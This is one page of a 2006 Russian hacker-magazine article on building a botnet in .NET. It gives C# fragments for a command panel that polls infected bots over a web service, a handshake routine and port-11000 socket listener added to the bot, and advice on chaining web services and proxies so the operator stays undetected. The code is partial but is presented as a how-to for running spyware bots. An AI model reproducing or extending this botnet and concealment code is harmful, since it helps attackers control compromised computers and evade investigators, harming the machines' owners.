Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #70, СЕНТЯБРЬ 2006 г.

БОТНЕТ НА DOTNET'E

SULVERUS AKA ДРОЗДОВ АНДРЕЙ

Спецвыпуск: Хакер, номер #070, стр. 070-056-4


localhost.Service bots = new localhost.Service();

string go = bots.ActiveBots(ip, port);

Теперь нужно написать цикл, похожий на тот, которым мы проверяли количество активных ботов, но только без подключения к ним, используя вот этот код:

Цикл для проверки связи без подключения

for (i = 0; i < itm; i++)

{

listBox1.SelectedIndex = i;

try

{

string ip = listBox1.SelectedItem.ToString();

string go = bots.ActiveBots(ip, "11000");

textBox1.Text = go.ToString();

if (go != "BINAN")

{

listBox2.Items.Add(ip.ToString());

}

} //...

[повышаем безопасность]

На данный момент у нас есть цепь: бот-центр-сервис-цепь проксей-клиент-хакер, однако вполне можно реализовать связующее звено между клиентом и веб-сервисом (для большей безопасности). Благодаря такому звену безопасность повысится в два раза, но для этого нужно много веб-пространства на разных серверах. Поэтому создадим веб-сервис, аналогичный нашему, и просто немного переделаем функцию приема и передачи данных, чтобы образовывалась цепь. Использование подобной цепи в связке с цепью проксей сильно увеличивает шансы хакера остаться незамеченным.

Хотя данный скрипт и подходит к любым spy-ware программам, которые принимают команды таким способом, я все равно покажу, как хакеры подгоняют под него ботов. В июльском номере журнала "Хакер" я уже рассказывал об азах написания подобных программ на .NET'e. Теперь надо только немного подогнать: добавим функцию для операции «привет-окей» - для этого нужно вставить в главный цикл еще одно условие:

if (info.IndexOf("privet") > -1) {

byte[] send_text = Encoding.ASCII.GetBytes(ip + ": OKAY!!!"); }

Таким образом, программа преобразует наш "окей" в массив байтов. А теперь осталось написать цикл для повисания на 11000 порту - для этого мы будем использовать все те же классы Net и Net.Sockets. Для начала объявим все переменные и напишем цикл:

Подгонка бота

try

{

listn.Bind(ep); //биндим сокет

listn.Listen(2); //слушаем сокет

Назад на стр. 070-056-3  Содержание  Вперед на стр. 070-056-5